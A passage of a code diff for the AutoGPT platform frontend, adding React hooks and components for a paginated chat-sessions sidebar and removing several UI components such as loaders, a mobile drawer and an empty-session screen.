+  onFetchNextPage: () => void;
+}
+
+export function SessionsList({
+  sessions,
+  currentSessionId,
+  isLoading,
+  hasNextPage,
+  isFetchingNextPage,
+  onSelectSession,
+  onFetchNextPage,
+}: Props) {
+  if (isLoading) {
+    return (
+      <div className="space-y-1">
+        {Array.from({ length: 5 }).map((_, i) => (
+          <div key={i} className="rounded-lg px-3 py-2.5">
+            <Skeleton className="h-5 w-full" />
+          </div>
+        ))}
+      </div>
+    );
+  }
+
+  if (sessions.length === 0) {
+    return (
+      <div className="flex h-full items-center justify-center">
+        <Text variant="body" className="text-zinc-500">
+          You don&apos;t have previous chats
+        </Text>
+      </div>
+    );
+  }
+
+  return (
+    <InfiniteList
+      items={sessions}
+      hasMore={hasNextPage}
+      isFetchingMore={isFetchingNextPage}
+      onEndReached={onFetchNextPage}
+      className="space-y-1"
+      renderItem={(session) => {
+        const isActive = session.id === currentSessionId;
+        return (
+          <button
+            onClick={() => onSelectSession(session.id)}
+            className={cn(
+              "w-full rounded-lg px-3 py-2.5 text-left transition-colors",
+              isActive ? "bg-zinc-100" : "hover:bg-zinc-50",
+            )}
+          >
+            <Text
+              variant="body"
+              className={cn(
+                "font-normal",
+                isActive ? "text-zinc-600" : "text-zinc-800",
+              )}
+            >
+              {getSessionTitle(session)}
+            </Text>
+          </button>
+        );
+      }}
+    />
+  );
+}

autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotShell/components/SessionsList/useSessionsPagination.ts

@@ -0,0 +1,91 @@
+import { useGetV2ListSessions } from "@/app/api/__generated__/endpoints/chat/chat";
+import type { SessionSummaryResponse } from "@/app/api/__generated__/models/sessionSummaryResponse";
+import { okData } from "@/app/api/helpers";
+import { useEffect, useState } from "react";
+
+const PAGE_SIZE = 50;
+
+export interface UseSessionsPaginationArgs {
+  enabled: boolean;
+}
+
+export function useSessionsPagination({ enabled }: UseSessionsPaginationArgs) {
+  const [offset, setOffset] = useState(0);
+
+  const [accumulatedSessions, setAccumulatedSessions] = useState<
+    SessionSummaryResponse[]
+  >([]);
+
+  const [totalCount, setTotalCount] = useState<number | null>(null);
+
+  const { data, isLoading, isFetching, isError } = useGetV2ListSessions(
+    { limit: PAGE_SIZE, offset },
+    {
+      query: {
+        enabled: enabled && offset >= 0,
+      },
+    },
+  );
+
+  useEffect(() => {
+    const responseData = okData(data);
+    if (responseData) {
+      const newSessions = responseData.sessions;
+      const total = responseData.total;
+      setTotalCount(total);
+
+      if (offset === 0) {
+        setAccumulatedSessions(newSessions);
+      } else {
+        setAccumulatedSessions((prev) => [...prev, ...newSessions]);
+      }
+    } else if (!enabled) {
+      setAccumulatedSessions([]);
+      setTotalCount(null);
+    }
+  }, [data, offset, enabled]);
+
+  const hasNextPage =
+    totalCount !== null && accumulatedSessions.length < totalCount;
+
+  const areAllSessionsLoaded =
+    totalCount !== null &&
+    accumulatedSessions.length >= totalCount &&
+    !isFetching &&
+    !isLoading;
+
+  useEffect(() => {
+    if (
+      hasNextPage &&
+      !isFetching &&
+      !isLoading &&
+      !isError &&
+      totalCount !== null
+    ) {
+      setOffset((prev) => prev + PAGE_SIZE);
+    }
+  }, [hasNextPage, isFetching, isLoading, isError, totalCount]);
+
+  const fetchNextPage = () => {
+    if (hasNextPage && !isFetching) {
+      setOffset((prev) => prev + PAGE_SIZE);
+    }
+  };
+
+  const reset = () => {
+    // Only reset the offset - keep existing sessions visible during refetch
+    // The effect will replace sessions when new data arrives at offset 0
+    setOffset(0);
+  };
+
+  return {
+    sessions: accumulatedSessions,
+    isLoading,
+    isFetching,
+    hasNextPage,
+    areAllSessionsLoaded,
+    totalCount,
+    fetchNextPage,
+    reset,
+  };
+}

autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotShell/helpers.ts

@@ -0,0 +1,106 @@
+import type { SessionDetailResponse } from "@/app/api/__generated__/models/sessionDetailResponse";
+import type { SessionSummaryResponse } from "@/app/api/__generated__/models/sessionSummaryResponse";
+import { format, formatDistanceToNow, isToday } from "date-fns";
+
+export function convertSessionDetailToSummary(session: SessionDetailResponse) {
+  return {
+    id: session.id,
+    created_at: session.created_at,
+    updated_at: session.updated_at,
+    title: undefined,
+  };
+}
+
+export function filterVisibleSessions(sessions: SessionSummaryResponse[]) {
+  const fiveMinutesAgo = Date.now() - 5 * 60 * 1000;
+  return sessions.filter((session) => {
+    const hasBeenUpdated = session.updated_at !== session.created_at;
+
+    if (hasBeenUpdated) return true;
+
+    const isRecentlyCreated =
+      new Date(session.created_at).getTime() > fiveMinutesAgo;
+
+    return isRecentlyCreated;
+  });
+}
+
+export function getSessionTitle(session: SessionSummaryResponse) {
+  if (session.title) return session.title;
+
+  const isNewSession = session.updated_at === session.created_at;
+
+  if (isNewSession) {
+    const createdDate = new Date(session.created_at);
+    if (isToday(createdDate)) {
+      return "Today";
+    }
+    return format(createdDate, "MMM d, yyyy");
+  }
+
+  return "Untitled Chat";
+}
+
+export function getSessionUpdatedLabel(session: SessionSummaryResponse) {
+  if (!session.updated_at) return "";
+  return formatDistanceToNow(new Date(session.updated_at), { addSuffix: true });
+}
+
+export function mergeCurrentSessionIntoList(
+  accumulatedSessions: SessionSummaryResponse[],
+  currentSessionId: string | null,
+  currentSessionData: SessionDetailResponse | null | undefined,
+  recentlyCreatedSessions?: Map<string, SessionSummaryResponse>,
+) {
+  const filteredSessions: SessionSummaryResponse[] = [];
+  const addedIds = new Set<string>();
+
+  if (accumulatedSessions.length > 0) {
+    const visibleSessions = filterVisibleSessions(accumulatedSessions);
+
+    if (currentSessionId) {
+      const currentInAll = accumulatedSessions.find(
+        (s) => s.id === currentSessionId,
+      );
+      if (currentInAll) {
+        const isInVisible = visibleSessions.some(
+          (s) => s.id === currentSessionId,
+        );
+        if (!isInVisible) {
+          filteredSessions.push(currentInAll);
+          addedIds.add(currentInAll.id);
+        }
+      }
+    }
+
+    for (const session of visibleSessions) {
+      if (!addedIds.has(session.id)) {
+        filteredSessions.push(session);
+        addedIds.add(session.id);
+      }
+    }
+  }
+
+  if (currentSessionId && currentSessionData) {
+    if (!addedIds.has(currentSessionId)) {
+      const summarySession = convertSessionDetailToSummary(currentSessionData);
+      filteredSessions.unshift(summarySession);
+      addedIds.add(currentSessionId);
+    }
+  }
+
+  if (recentlyCreatedSessions) {
+    for (const [sessionId, sessionData] of recentlyCreatedSessions) {
+      if (!addedIds.has(sessionId)) {
+        filteredSessions.unshift(sessionData);
+        addedIds.add(sessionId);
+      }
+    }
+  }
+
+  return filteredSessions;
+}
+
+export function getCurrentSessionId(searchParams: URLSearchParams) {
+  return searchParams.get("sessionId");
+}

autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotShell/useCopilotShell.ts

@@ -0,0 +1,124 @@
+"use client";
+
+import {
+  getGetV2GetSessionQueryKey,
+  getGetV2ListSessionsQueryKey,
+  useGetV2GetSession,
+} from "@/app/api/__generated__/endpoints/chat/chat";
+import { okData } from "@/app/api/helpers";
+import { useChatStore } from "@/components/contextual/Chat/chat-store";
+import { useBreakpoint } from "@/lib/hooks/useBreakpoint";
+import { useSupabase } from "@/lib/supabase/hooks/useSupabase";
+import { useQueryClient } from "@tanstack/react-query";
+import { usePathname, useSearchParams } from "next/navigation";
+import { useCopilotStore } from "../../copilot-page-store";
+import { useCopilotSessionId } from "../../useCopilotSessionId";
+import { useMobileDrawer } from "./components/MobileDrawer/useMobileDrawer";
+import { getCurrentSessionId } from "./helpers";
+import { useShellSessionList } from "./useShellSessionList";
+
+export function useCopilotShell() {
+  const pathname = usePathname();
+  const searchParams = useSearchParams();
+  const queryClient = useQueryClient();
+  const breakpoint = useBreakpoint();
+  const { isLoggedIn } = useSupabase();
+  const isMobile =
+    breakpoint === "base" || breakpoint === "sm" || breakpoint === "md";
+
+  const { urlSessionId, setUrlSessionId } = useCopilotSessionId();
+
+  const isOnHomepage = pathname === "/copilot";
+  const paramSessionId = searchParams.get("sessionId");
+
+  const {
+    isDrawerOpen,
+    handleOpenDrawer,
+    handleCloseDrawer,
+    handleDrawerOpenChange,
+  } = useMobileDrawer();
+
+  const paginationEnabled = !isMobile || isDrawerOpen || !!paramSessionId;
+
+  const currentSessionId = getCurrentSessionId(searchParams);
+
+  const { data: currentSessionData } = useGetV2GetSession(
+    currentSessionId || "",
+    {
+      query: {
+        enabled: !!currentSessionId,
+        select: okData,
+      },
+    },
+  );
+
+  const {
+    sessions,
+    isLoading,
+    isSessionsFetching,
+    hasNextPage,
+    fetchNextPage,
+    resetPagination,
+    recentlyCreatedSessionsRef,
+  } = useShellSessionList({
+    paginationEnabled,
+    currentSessionId,
+    currentSessionData,
+    isOnHomepage,
+    paramSessionId,
+  });
+
+  const stopStream = useChatStore((s) => s.stopStream);
+  const isCreatingSession = useCopilotStore((s) => s.isCreatingSession);
+
+  function handleSessionClick(sessionId: string) {
+    if (sessionId === currentSessionId) return;
+
+    // Stop current stream - SSE reconnection allows resuming later
+    if (currentSessionId) {
+      stopStream(currentSessionId);
+    }
+
+    if (recentlyCreatedSessionsRef.current.has(sessionId)) {
+      queryClient.invalidateQueries({
+        queryKey: getGetV2GetSessionQueryKey(sessionId),
+      });
+    }
+    setUrlSessionId(sessionId, { shallow: false });
+    if (isMobile) handleCloseDrawer();
+  }
+
+  function handleNewChatClick() {
+    // Stop current stream - SSE reconnection allows resuming later
+    if (currentSessionId) {
+      stopStream(currentSessionId);
+    }
+
+    resetPagination();
+    queryClient.invalidateQueries({
+      queryKey: getGetV2ListSessionsQueryKey(),
+    });
+    setUrlSessionId(null, { shallow: false });
+    if (isMobile) handleCloseDrawer();
+  }
+
+  return {
+    isMobile,
+    isDrawerOpen,
+    isLoggedIn,
+    hasActiveSession:
+      Boolean(currentSessionId) && (!isOnHomepage || Boolean(paramSessionId)),
+    isLoading: isLoading || isCreatingSession,
+    isCreatingSession,
+    sessions,
+    currentSessionId: urlSessionId,
+    handleOpenDrawer,
+    handleCloseDrawer,
+    handleDrawerOpenChange,
+    handleNewChatClick,
+    handleSessionClick,
+    hasNextPage,
+    isFetchingNextPage: isSessionsFetching,
+    fetchNextPage,
+  };
+}

autogpt_platform/frontend/src/app/(platform)/copilot/components/CopilotShell/useShellSessionList.ts

@@ -0,0 +1,113 @@
+import { getGetV2ListSessionsQueryKey } from "@/app/api/__generated__/endpoints/chat/chat";
+import type { SessionDetailResponse } from "@/app/api/__generated__/models/sessionDetailResponse";
+import type { SessionSummaryResponse } from "@/app/api/__generated__/models/sessionSummaryResponse";
+import { useChatStore } from "@/components/contextual/Chat/chat-store";
+import { useQueryClient } from "@tanstack/react-query";
+import { useEffect, useMemo, useRef } from "react";
+import { useSessionsPagination } from "./components/SessionsList/useSessionsPagination";
+import {
+  convertSessionDetailToSummary,
+  filterVisibleSessions,
+  mergeCurrentSessionIntoList,
+} from "./helpers";
+
+interface UseShellSessionListArgs {
+  paginationEnabled: boolean;
+  currentSessionId: string | null;
+  currentSessionData: SessionDetailResponse | null | undefined;
+  isOnHomepage: boolean;
+  paramSessionId: string | null;
+}
+
+export function useShellSessionList({
+  paginationEnabled,
+  currentSessionId,
+  currentSessionData,
+  isOnHomepage,
+  paramSessionId,
+}: UseShellSessionListArgs) {
+  const queryClient = useQueryClient();
+  const onStreamComplete = useChatStore((s) => s.onStreamComplete);
+
+  const {
+    sessions: accumulatedSessions,
+    isLoading: isSessionsLoading,
+    isFetching: isSessionsFetching,
+    hasNextPage,
+    fetchNextPage,
+    reset: resetPagination,
+  } = useSessionsPagination({
+    enabled: paginationEnabled,
+  });
+
+  const recentlyCreatedSessionsRef = useRef<
+    Map<string, SessionSummaryResponse>
+  >(new Map());
+
+  useEffect(() => {
+    if (isOnHomepage && !paramSessionId) {
+      queryClient.invalidateQueries({
+        queryKey: getGetV2ListSessionsQueryKey(),
+      });
+    }
+  }, [isOnHomepage, paramSessionId, queryClient]);
+
+  useEffect(() => {
+    if (currentSessionId && currentSessionData) {
+      const isNewSession =
+        currentSessionData.updated_at === currentSessionData.created_at;
+      const isNotInAccumulated = !accumulatedSessions.some(
+        (s) => s.id === currentSessionId,
+      );
+      if (isNewSession || isNotInAccumulated) {
+        const summary = convertSessionDetailToSummary(currentSessionData);
+        recentlyCreatedSessionsRef.current.set(currentSessionId, summary);
+      }
+    }
+  }, [currentSessionId, currentSessionData, accumulatedSessions]);
+
+  useEffect(() => {
+    for (const sessionId of recentlyCreatedSessionsRef.current.keys()) {
+      if (accumulatedSessions.some((s) => s.id === sessionId)) {
+        recentlyCreatedSessionsRef.current.delete(sessionId);
+      }
+    }
+  }, [accumulatedSessions]);
+
+  useEffect(() => {
+    const unsubscribe = onStreamComplete(() => {
+      queryClient.invalidateQueries({
+        queryKey: getGetV2ListSessionsQueryKey(),
+      });
+    });
+    return unsubscribe;
+  }, [onStreamComplete, queryClient]);
+
+  const sessions = useMemo(
+    () =>
+      mergeCurrentSessionIntoList(
+        accumulatedSessions,
+        currentSessionId,
+        currentSessionData,
+        recentlyCreatedSessionsRef.current,
+      ),
+    [accumulatedSessions, currentSessionId, currentSessionData],
+  );
+
+  const visibleSessions = useMemo(
+    () => filterVisibleSessions(sessions),
+    [sessions],
+  );
+
+  const isLoading = isSessionsLoading && accumulatedSessions.length === 0;
+
+  return {
+    sessions: visibleSessions,
+    isLoading,
+    isSessionsFetching,
+    hasNextPage,
+    fetchNextPage,
+    resetPagination,
+    recentlyCreatedSessionsRef,
+  };
+}

autogpt_platform/frontend/src/app/(platform)/copilot/components/EmptySession/EmptySession.tsx

@@ -1,111 +0,0 @@
-"use client";
-
-import { ChatInput } from "@/app/(platform)/copilot/components/ChatInput/ChatInput";
-import { Button } from "@/components/atoms/Button/Button";
-import { Text } from "@/components/atoms/Text/Text";
-import { useSupabase } from "@/lib/supabase/hooks/useSupabase";
-import { SpinnerGapIcon } from "@phosphor-icons/react";
-import { motion } from "framer-motion";
-import { useEffect, useState } from "react";
-import {
-  getGreetingName,
-  getInputPlaceholder,
-  getQuickActions,
-} from "./helpers";
-
-interface Props {
-  inputLayoutId: string;
-  isCreatingSession: boolean;
-  onCreateSession: () => void | Promise<string>;
-  onSend: (message: string) => void | Promise<void>;
-}
-
-export function EmptySession({
-  inputLayoutId,
-  isCreatingSession,
-  onSend,
-}: Props) {
-  const { user } = useSupabase();
-  const greetingName = getGreetingName(user);
-  const quickActions = getQuickActions();
-  const [loadingAction, setLoadingAction] = useState<string | null>(null);
-  const [inputPlaceholder, setInputPlaceholder] = useState(
-    getInputPlaceholder(),
-  );
-
-  useEffect(() => {
-    setInputPlaceholder(getInputPlaceholder(window.innerWidth));
-  }, [window.innerWidth]);
-
-  async function handleQuickActionClick(action: string) {
-    if (isCreatingSession || loadingAction) return;
-
-    setLoadingAction(action);
-    try {
-      await onSend(action);
-    } finally {
-      setLoadingAction(null);
-    }
-  }
-
-  return (
-    <div className="flex h-full flex-1 items-center justify-center overflow-y-auto bg-[#f8f8f9] px-0 py-5 md:px-6 md:py-10">
-      <motion.div
-        className="w-full max-w-3xl text-center"
-        initial={{ opacity: 0 }}
-        animate={{ opacity: 1 }}
-        transition={{ duration: 0.3 }}
-      >
-        <div className="mx-auto max-w-3xl">
-          <Text variant="h3" className="mb-1 !text-[1.375rem] text-zinc-700">
-            Hey, <span className="text-violet-600">{greetingName}</span>
-          </Text>
-          <Text variant="h3" className="mb-8 !font-normal">
-            Tell me about your work — I&apos;ll find what to automate.
-          </Text>
-
-          <div className="mb-6">
-            <motion.div
-              layoutId={inputLayoutId}
-              transition={{ type: "spring", bounce: 0.2, duration: 0.65 }}
-              className="w-full px-2"
-            >
-              <ChatInput
-                inputId="chat-input-empty"
-                onSend={onSend}
-                disabled={isCreatingSession}
-                placeholder={inputPlaceholder}
-                className="w-full"
-              />
-            </motion.div>
-          </div>
-        </div>
-
-        <div className="flex flex-wrap items-center justify-center gap-3 overflow-x-auto [-ms-overflow-style:none] [scrollbar-width:none] [&::-webkit-scrollbar]:hidden">
-          {quickActions.map((action) => (
-            <Button
-              key={action}
-              type="button"
-              variant="outline"
-              size="small"
-              onClick={() => void handleQuickActionClick(action)}
-              disabled={isCreatingSession || loadingAction !== null}
-              aria-busy={loadingAction === action}
-              leftIcon={
-                loadingAction === action ? (
-                  <SpinnerGapIcon
-                    className="h-4 w-4 animate-spin"
-                    weight="bold"
-                  />
-                ) : null
-              }
-              className="h-auto shrink-0 border-zinc-300 px-3 py-2 text-[.9rem] text-zinc-600"
-            >
-              {action}
-            </Button>
-          ))}
-        </div>
-      </motion.div>
-    </div>
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/MobileDrawer/MobileDrawer.tsx

@@ -1,140 +0,0 @@
-import type { SessionSummaryResponse } from "@/app/api/__generated__/models/sessionSummaryResponse";
-import { Button } from "@/components/atoms/Button/Button";
-import { Text } from "@/components/atoms/Text/Text";
-import { scrollbarStyles } from "@/components/styles/scrollbars";
-import { cn } from "@/lib/utils";
-import { PlusIcon, SpinnerGapIcon, X } from "@phosphor-icons/react";
-import { Drawer } from "vaul";
-
-interface Props {
-  isOpen: boolean;
-  sessions: SessionSummaryResponse[];
-  currentSessionId: string | null;
-  isLoading: boolean;
-  onSelectSession: (sessionId: string) => void;
-  onNewChat: () => void;
-  onClose: () => void;
-  onOpenChange: (open: boolean) => void;
-}
-
-function formatDate(dateString: string) {
-  const date = new Date(dateString);
-  const now = new Date();
-  const diffMs = now.getTime() - date.getTime();
-  const diffDays = Math.floor(diffMs / (1000 * 60 * 60 * 24));
-
-  if (diffDays === 0) return "Today";
-  if (diffDays === 1) return "Yesterday";
-  if (diffDays < 7) return `${diffDays} days ago`;
-
-  const day = date.getDate();
-  const ordinal =
-    day % 10 === 1 && day !== 11
-      ? "st"
-      : day % 10 === 2 && day !== 12
-        ? "nd"
-        : day % 10 === 3 && day !== 13
-          ? "rd"
-          : "th";
-  const month = date.toLocaleDateString("en-US", { month: "short" });
-  const year = date.getFullYear();
-
-  return `${day}${ordinal} ${month} ${year}`;
-}
-
-export function MobileDrawer({
-  isOpen,
-  sessions,
-  currentSessionId,
-  isLoading,
-  onSelectSession,
-  onNewChat,
-  onClose,
-  onOpenChange,
-}: Props) {
-  return (
-    <Drawer.Root open={isOpen} onOpenChange={onOpenChange} direction="left">
-      <Drawer.Portal>
-        <Drawer.Overlay className="fixed inset-0 z-[60] bg-black/10 backdrop-blur-sm" />
-        <Drawer.Content className="fixed left-0 top-0 z-[70] flex h-full w-80 flex-col border-r border-zinc-200 bg-zinc-50">
-          <div className="shrink-0 border-b border-zinc-200 px-4 py-2">
-            <div className="flex items-center justify-between">
-              <Drawer.Title className="text-lg font-semibold text-zinc-800">
-                Your chats
-              </Drawer.Title>
-              <Button
-                variant="icon"
-                size="icon"
-                aria-label="Close sessions"
-                onClick={onClose}
-              >
-                <X width="1rem" height="1rem" />
-              </Button>
-            </div>
-          </div>
-          <div
-            className={cn(
-              "flex min-h-0 flex-1 flex-col gap-1 overflow-y-auto px-3 py-3",
-              scrollbarStyles,
-            )}
-          >
-            {isLoading ? (
-              <div className="flex items-center justify-center py-4">
-                <SpinnerGapIcon className="h-5 w-5 animate-spin text-neutral-400" />
-              </div>
-            ) : sessions.length === 0 ? (
-              <p className="py-4 text-center text-sm text-neutral-500">
-                No conversations yet
-              </p>
-            ) : (
-              sessions.map((session) => (
-                <button
-                  key={session.id}
-                  onClick={() => onSelectSession(session.id)}
-                  className={cn(
-                    "w-full rounded-lg px-3 py-2.5 text-left transition-colors",
-                    session.id === currentSessionId
-                      ? "bg-zinc-100"
-                      : "hover:bg-zinc-50",
-                  )}
-                >
-                  <div className="flex min-w-0 max-w-full flex-col overflow-hidden">
-                    <div className="min-w-0 max-w-full">
-                      <Text
-                        variant="body"
-                        className={cn(
-                          "truncate font-normal",
-                          session.id === currentSessionId
-                            ? "text-zinc-600"
-                            : "text-zinc-800",
-                        )}
-                      >
-                        {session.title || "Untitled chat"}
-                      </Text>
-                    </div>
-                    <Text variant="small" className="text-neutral-400">
-                      {formatDate(session.updated_at)}
-                    </Text>
-                  </div>
-                </button>
-              ))
-            )}
-          </div>
-          {currentSessionId && (
-            <div className="shrink-0 bg-white p-3 shadow-[0_-4px_6px_-1px_rgba(0,0,0,0.05)]">
-              <Button
-                variant="primary"
-                size="small"
-                onClick={onNewChat}
-                className="w-full"
-                leftIcon={<PlusIcon width="1rem" height="1rem" />}
-              >
-                New Chat
-              </Button>
-            </div>
-          )}
-        </Drawer.Content>
-      </Drawer.Portal>
-    </Drawer.Root>
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/MorphingTextAnimation/MorphingTextAnimation.tsx

@@ -1,54 +0,0 @@
-import { cn } from "@/lib/utils";
-import { AnimatePresence, motion } from "framer-motion";
-
-interface Props {
-  text: string;
-  className?: string;
-}
-
-export function MorphingTextAnimation({ text, className }: Props) {
-  const letters = text.split("");
-
-  return (
-    <div className={cn(className)}>
-      <AnimatePresence mode="popLayout" initial={false}>
-        <motion.div key={text} className="whitespace-nowrap">
-          <motion.span className="inline-flex overflow-hidden">
-            {letters.map((char, index) => (
-              <motion.span
-                key={`${text}-${index}`}
-                initial={{
-                  opacity: 0,
-                  y: 8,
-                  rotateX: "80deg",
-                  filter: "blur(6px)",
-                }}
-                animate={{
-                  opacity: 1,
-                  y: 0,
-                  rotateX: "0deg",
-                  filter: "blur(0px)",
-                }}
-                exit={{
-                  opacity: 0,
-                  y: -8,
-                  rotateX: "-80deg",
-                  filter: "blur(6px)",
-                }}
-                style={{ willChange: "transform" }}
-                transition={{
-                  delay: 0.015 * index,
-                  type: "spring",
-                  bounce: 0.5,
-                }}
-                className="inline-block"
-              >
-                {char === " " ? "\u00A0" : char}
-              </motion.span>
-            ))}
-          </motion.span>
-        </motion.div>
-      </AnimatePresence>
-    </div>
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/OrbitLoader/OrbitLoader.module.css

@@ -1,69 +0,0 @@
-.loader {
-  position: relative;
-  animation: rotate 1s infinite;
-}
-
-.loader::before,
-.loader::after {
-  border-radius: 50%;
-  content: "";
-  display: block;
-  /* 40% of container size */
-  height: 40%;
-  width: 40%;
-}
-
-.loader::before {
-  animation: ball1 1s infinite;
-  background-color: #a1a1aa; /* zinc-400 */
-  box-shadow: calc(var(--spacing)) 0 0 #18181b; /* zinc-900 */
-  margin-bottom: calc(var(--gap));
-}
-
-.loader::after {
-  animation: ball2 1s infinite;
-  background-color: #18181b; /* zinc-900 */
-  box-shadow: calc(var(--spacing)) 0 0 #a1a1aa; /* zinc-400 */
-}
-
-@keyframes rotate {
-  0% {
-    transform: rotate(0deg) scale(0.8);
-  }
-  50% {
-    transform: rotate(360deg) scale(1.2);
-  }
-  100% {
-    transform: rotate(720deg) scale(0.8);
-  }
-}
-
-@keyframes ball1 {
-  0% {
-    box-shadow: calc(var(--spacing)) 0 0 #18181b;
-  }
-  50% {
-    box-shadow: 0 0 0 #18181b;
-    margin-bottom: 0;
-    transform: translate(calc(var(--spacing) / 2), calc(var(--spacing) / 2));
-  }
-  100% {
-    box-shadow: calc(var(--spacing)) 0 0 #18181b;
-    margin-bottom: calc(var(--gap));
-  }
-}
-
-@keyframes ball2 {
-  0% {
-    box-shadow: calc(var(--spacing)) 0 0 #a1a1aa;
-  }
-  50% {
-    box-shadow: 0 0 0 #a1a1aa;
-    margin-top: calc(var(--ball-size) * -1);
-    transform: translate(calc(var(--spacing) / 2), calc(var(--spacing) / 2));
-  }
-  100% {
-    box-shadow: calc(var(--spacing)) 0 0 #a1a1aa;
-    margin-top: 0;
-  }
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/OrbitLoader/OrbitLoader.tsx

@@ -1,28 +0,0 @@
-import { cn } from "@/lib/utils";
-import styles from "./OrbitLoader.module.css";
-
-interface Props {
-  size?: number;
-  className?: string;
-}
-
-export function OrbitLoader({ size = 24, className }: Props) {
-  const ballSize = Math.round(size * 0.4);
-  const spacing = Math.round(size * 0.6);
-  const gap = Math.round(size * 0.2);
-
-  return (
-    <div
-      className={cn(styles.loader, className)}
-      style={
-        {
-          width: size,
-          height: size,
-          "--ball-size": `${ballSize}px`,
-          "--spacing": `${spacing}px`,
-          "--gap": `${gap}px`,
-        } as React.CSSProperties
-      }
-    />
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/ProgressBar/ProgressBar.tsx

@@ -1,26 +0,0 @@
-import { cn } from "@/lib/utils";
-
-interface Props {
-  value: number;
-  label?: string;
-  className?: string;
-}
-
-export function ProgressBar({ value, label, className }: Props) {
-  const clamped = Math.min(100, Math.max(0, value));
-
-  return (
-    <div className={cn("flex flex-col gap-1.5", className)}>
-      <div className="flex items-center justify-between text-xs text-neutral-500">
-        <span>{label ?? "Working on it..."}</span>
-        <span>{Math.round(clamped)}%</span>
-      </div>
-      <div className="h-2 w-full overflow-hidden rounded-full bg-neutral-200">
-        <div
-          className="h-full rounded-full bg-neutral-900 transition-[width] duration-300 ease-out"
-          style={{ width: `${clamped}%` }}
-        />
-      </div>
-    </div>
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/PulseLoader/PulseLoader.module.css

@@ -1,34 +0,0 @@
-.loader {
-  position: relative;
-  display: inline-block;
-  flex-shrink: 0;
-}
-
-.loader::before,
-.loader::after {
-  content: "";
-  box-sizing: border-box;
-  width: 100%;
-  height: 100%;
-  border-radius: 50%;
-  background: currentColor;
-  position: absolute;
-  left: 0;
-  top: 0;
-  animation: ripple 2s linear infinite;
-}
-
-.loader::after {
-  animation-delay: 1s;
-}
-
-@keyframes ripple {
-  0% {
-    transform: scale(0);
-    opacity: 1;
-  }
-  100% {
-    transform: scale(1);
-    opacity: 0;
-  }
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/PulseLoader/PulseLoader.tsx

@@ -1,16 +0,0 @@
-import { cn } from "@/lib/utils";
-import styles from "./PulseLoader.module.css";
-
-interface Props {
-  size?: number;
-  className?: string;
-}
-
-export function PulseLoader({ size = 24, className }: Props) {
-  return (
-    <div
-      className={cn(styles.loader, className)}
-      style={{ width: size, height: size }}
-    />
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/ScaleLoader/ScaleLoader.module.css

@@ -1,35 +0,0 @@
-.loader {
-  width: 48px;
-  height: 48px;
-  display: inline-block;
-  position: relative;
-}
-
-.loader::after,
-.loader::before {
-  content: "";
-  box-sizing: border-box;
-  width: 100%;
-  height: 100%;
-  border-radius: 50%;
-  background: currentColor;
-  position: absolute;
-  left: 0;
-  top: 0;
-  animation: animloader 2s linear infinite;
-}
-
-.loader::after {
-  animation-delay: 1s;
-}
-
-@keyframes animloader {
-  0% {
-    transform: scale(0);
-    opacity: 1;
-  }
-  100% {
-    transform: scale(1);
-    opacity: 0;
-  }
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/ScaleLoader/ScaleLoader.tsx

@@ -1,16 +0,0 @@
-import { cn } from "@/lib/utils";
-import styles from "./ScaleLoader.module.css";
-
-interface Props {
-  size?: number;
-  className?: string;
-}
-
-export function ScaleLoader({ size = 48, className }: Props) {
-  return (
-    <div
-      className={cn(styles.loader, className)}
-      style={{ width: size, height: size }}
-    />
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/SpinnerLoader/SpinnerLoader.module.css

@@ -1,57 +0,0 @@
-.loader {
-  position: relative;
-  display: inline-block;
-  flex-shrink: 0;
-  transform: rotateZ(45deg);
-  perspective: 1000px;
-  border-radius: 50%;
-  color: currentColor;
-}
-
-.loader::before,
-.loader::after {
-  content: "";
-  display: block;
-  position: absolute;
-  top: 0;
-  left: 0;
-  width: inherit;
-  height: inherit;
-  border-radius: 50%;
-  transform: rotateX(70deg);
-  animation: spin 1s linear infinite;
-}
-
-.loader::after {
-  color: var(--spinner-accent, #a855f7);
-  transform: rotateY(70deg);
-  animation-delay: 0.4s;
-}
-
-@keyframes spin {
-  0%,
-  100% {
-    box-shadow: 0.2em 0 0 0 currentColor;
-  }
-  12% {
-    box-shadow: 0.2em 0.2em 0 0 currentColor;
-  }
-  25% {
-    box-shadow: 0 0.2em 0 0 currentColor;
-  }
-  37% {
-    box-shadow: -0.2em 0.2em 0 0 currentColor;
-  }
-  50% {
-    box-shadow: -0.2em 0 0 0 currentColor;
-  }
-  62% {
-    box-shadow: -0.2em -0.2em 0 0 currentColor;
-  }
-  75% {
-    box-shadow: 0 -0.2em 0 0 currentColor;
-  }
-  87% {
-    box-shadow: 0.2em -0.2em 0 0 currentColor;
-  }
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/SpinnerLoader/SpinnerLoader.tsx

@@ -1,16 +0,0 @@
-import { cn } from "@/lib/utils";
-import styles from "./SpinnerLoader.module.css";
-
-interface Props {
-  size?: number;
-  className?: string;
-}
-
-export function SpinnerLoader({ size = 24, className }: Props) {
-  return (
-    <div
-      className={cn(styles.loader, className)}
-      style={{ width: size, height: size }}
-    />
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/components/ToolAccordion/AccordionContent.tsx

@@ -1,235 +0,0 @@
-import { Link } from "@/components/atoms/Link/Link";
-import { Text } from "@/components/atoms/Text/Text";
-import { cn } from "@/lib/utils";
-
-/* ------------------------------------------------------------------ */
-/*  Layout                                                            */
-/* ------------------------------------------------------------------ */
-
-export function ContentGrid({
-  children,
-  className,
-}: {
-  children: React.ReactNode;
-  className?: string;
-}) {
-  return <div className={cn("grid gap-2", className)}>{children}</div>;
-}
-
-/* ------------------------------------------------------------------ */
-/*  Card                                                              */
-/* ------------------------------------------------------------------ */
-
-export function ContentCard({
-  children,
-  className,
-}: {
-  children: React.ReactNode;
-  className?: string;
-}) {
-  return (
-    <div
-      className={cn(
